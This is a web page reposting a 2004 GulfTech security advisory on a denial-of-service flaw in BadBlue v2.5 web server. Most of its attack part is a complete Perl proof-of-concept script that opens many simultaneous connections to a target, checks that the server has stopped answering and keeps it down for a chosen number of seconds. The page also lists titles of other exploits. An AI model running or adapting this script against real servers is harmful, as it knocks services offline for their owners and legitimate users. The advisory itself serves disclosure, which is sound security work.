首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BadBlue v2.52 Web Server Denial Of Service POC
来源:GulfTech Security 作者:GulfTech Security 发布时间:2004-08-23  

Subject: BadBlue Webserver v2.5 Denial Of Service Vulnerability

##########################################################
# GulfTech Security Research August, 18th 2004
##########################################################
# Vendor : BadBlue
# URL : http://www.badblue.com
# Version : BadBlue Webserver v2.5
# Risk : Denial of Service
##########################################################

Description:
Share photos, videos, music, and business files with friends
and colleagues instantly. Tired of paying a service to share
your files (and the hassle of sending your files to their
site) BadBlue shares files directly from your own PC, using
the cable /DSL/broadband/dialup connection you already paid
for! BadBlue lets you run a no-hassle Web site on your own
PC for free, including a domain name you can choose. Within
seconds, you can transform your PC into a friendly, file
sharing Web server with all the power of a real server on the
Internet. Remote users can search for files, explore your
shared folders, and run full-blown applications created in
HTML, PHP, Perl, and so on.

Denial of Service:
BadBlue Webserver cannot handle multiple connections from the
same host, and will deny all acess to any users at right around
twenty four simultaneous connections.I have included a proof of
concept that floods the target server with a number of connections,
and then basically keeps those connections up for as long as you
specify, thus blocking all other traffic to the affected server.

#!/usr/bin/perl
##############################################################
# BadBlue v2.52 Web Server - Multiple Connections DoS POC Code
##############################################################
# BadBlue Web Server can not handle many simultaneous connects
# from the same host, and will lock up until the connects stop
##############################################################
# This Proof Of Concept Written By GulfTech Security Research
##############################################################

use Strict;
use Socket;
use IO::Socket;

my $host = $ARGV[0];
my $port = $ARGV[1];
my $stop = $ARGV[2];
my $size = 1000;
my $prot = getprotobyname('tcp');
my $slep = $ARGV[3];

printf("================================================\n");
printf(" BadBlue v2.52 Web Server Denial Of Service POC \n");
printf("================================================\n");
printf("[*] Making %d Connections To %s \n", $stop , $host);

for ($i=1; $i<$stop; $i++)
{
socket($i, PF_INET, SOCK_STREAM, $prot );
my $dest = sockaddr_in ($port, inet_aton($host));
connect($i, $dest);
}

CheckServer($host, $i, $slep, $stop);
KillThreads($stop);
printf("[*] Exploit Attempt Unsuccesful");
exit;

sub CheckServer($host, $i, $slep, $stop) {
($host, $i, $slep, $stop) = @_;
$blank = "\015\012" x 2;
$request = "GET / HTTP/1.0".$blank;
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
Timeout => '10000',
Type => SOCK_STREAM,
);
print $remote $request;
unless ( <$remote> )
{
printf("[*] Host %s Has Been Successfully DoS'ed\n", $host);
printf("[*] The Host Will Be Down For %d Seconds\n", $slep);
sleep($slep);
KillThreads($stop);
exit;
}
}

sub KillThreads($stop) {
$stop = @_;
printf("[*] Killing All active Connections");
for ($l=1; $l<$stop; $l++) {
shutdown($l,2)|| die("Couldn't Shut Down Socket");
$l++;
}
}


Solution:
The development team has been contacted and said they will be
looking into this issue shortly. Users are advised to upgrade
as soon as possible.

Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00042-08202004

Credits:
James Bercegay of the GulfTech Security Research Team



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Qt 3.x bmp image parsing local
·PADS Simple Stack Overflow Exp
·XV v3.x bmp parsing local buff
·MusicDaemon<=0.0.3/etc/shad
·Gallery1.4.4save_photos.php PH
·Bird Chat 1.61 Denial Of Servi
·PlaySMS version 0.7 and prior
·Remote Exploit for Hafiye-1.0
·YaPiG 0.92b add_coment PHP Ins
·Axis Network Camera/Video Serv
·Integrity Protection Driver lo
·Squirrelmail chpasswd local Ro
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved